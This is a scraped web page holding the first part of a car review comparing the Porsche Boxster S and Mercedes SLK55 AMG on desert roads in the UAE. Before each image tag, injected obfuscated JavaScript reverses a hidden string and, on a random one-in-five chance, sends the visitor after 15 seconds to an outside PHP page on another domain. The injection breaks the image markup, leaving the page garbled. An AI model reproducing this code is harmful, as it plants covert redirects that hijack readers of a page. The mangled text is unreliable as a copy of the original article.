$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-024.jpg” alt=”” width=”728″ height=”485″ />
This was a stupid idea. It’s the middle of August in the Middle East, and the outside temperature gauge on the Porsche Boxster S’ dashboard reads 50 degrees C. It is tarmac meltingly hot, and we’re in the middle of the desert with two cars that count the ability to expose the driver to the elements as one of their major features. Whose great plan was this?
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-034.jpg” alt=”” width=”728″ height=”1092″ />
OK, so perhaps we’re not reviewing the Boxster S and the new Mercedes-Benz SLK 55 AMG at the ideal time – it’s unfortunate that they were both released as summer arrived. Great for Europe and the US but it’ll be at least a couple of months in the GCC before we can really enjoy the top-down aspects of these two new roadsters, feel the wind in our hair without boiling our eyeballs in their sockets and toasting our skin to a crisp.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-025.jpg” alt=”” width=”728″ height=”485″ />
For now though, we’re left to contemplate what these two top-down sports cars bring to the region with their hoods up. It should be an interesting day. Porsche is already known for its astounding history of great drivers cars, and the Boxster has a serious reputation to uphold. The SLK, in contrast, has in previous generations been referred to by many as a hairdressers’ car, something for the ladies, and is out to prove the cynics wrong. These aren’t direct rivals, exactly. They vary in price, as we’ll discuss later, and they keep their engines in different places. But they’re both essentially about providing rear-wheel drive excitment with roof-off options.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-004.jpg” alt=”” width=”728″ height=”1092″ />
Incredibly, it’s now 16 years since Porsche first revitalised its roadster programme and introduced the first Boxster. Since that original 986 model, which brought the history and heritage of Porsche to the masses at a more affordable price, Porsche followed up with the 987 in 2005 and now we’re onto the third generation, the 981 – nomenclature following the same progression as the latest 911. This Boxster S is the more powerful of the two available, with a mid-mounted 3.4-litre flat six engine that’s been reworked from the already-excellent version sat in the back of the previous generation car. The result is 311bhp sent to the big 20-inch alloy wheels lurking at the rear of our Racing Yellow test car.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-006.jpg” alt=”” width=”728″ height=”1092″ />
Next to it, red Fire Opal paint gleaming in the midsummer sun, is the most hardcore iteration of the latest small convertible from Mercedes. The SLK is the same age as the Boxster – it was also first introduced in 1996 and this R172 is its third generation. True to form, the boys and girls at AMG decided that the puny engines found in the standard SLKs had to go, and have instead crammed a naturally aspirated 5.5-litre engine into the SLK55, based on the biturbo unit found in other AMG models. The lack of charging means there isn’t quite the power of larger cars out of Affalterbach, but the SLK55 still pushes out 416bhp at 6800rpm, making it by far the more powerful car that we’ll be driving today.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-026.jpg” alt=”” width=”728″ height=”485″ />
Bright and early one sweltering morning, we set off for the well-worn roads in the middle of the UAE. This route will give us motorway, sweeping fast mountain roads and the squiggled lines that form the road network around the Hatta region. It’ll be a good all-round workout and should give us – that’s me and my colleague James – a good chance to see how the Germans have tweaked their latest offerings.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-005.jpg” alt=”” width=”728″ height=”485″ />
The Boxster, in typical Porsche style, is little changed in terms of looks, save for a few design trinkets to keep it up to date. Well, from the front at least. The rear end has had what passes in Stuttgart for a fairly radical transformation, most notably the redesigned spoiler that incorporates the new three dimensional rear lights in its placement. The overall impression is very positive, making it much more, well, interesting to look at.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-013.jpg” alt=”” width=”728″ height=”485″ />
But the changes aren’t just on the surface. The latest Boxster has expanded, with a longer wheelbase and a wider track at both ends. The front overhang is shorter, which essentially means that the wheels are put as close to the car’s corners as possible. Not only does this give it a more purposeful stance, it should make for improved handling. Which would be going some, considering the great reputation of previous Boxsters for sharpness.
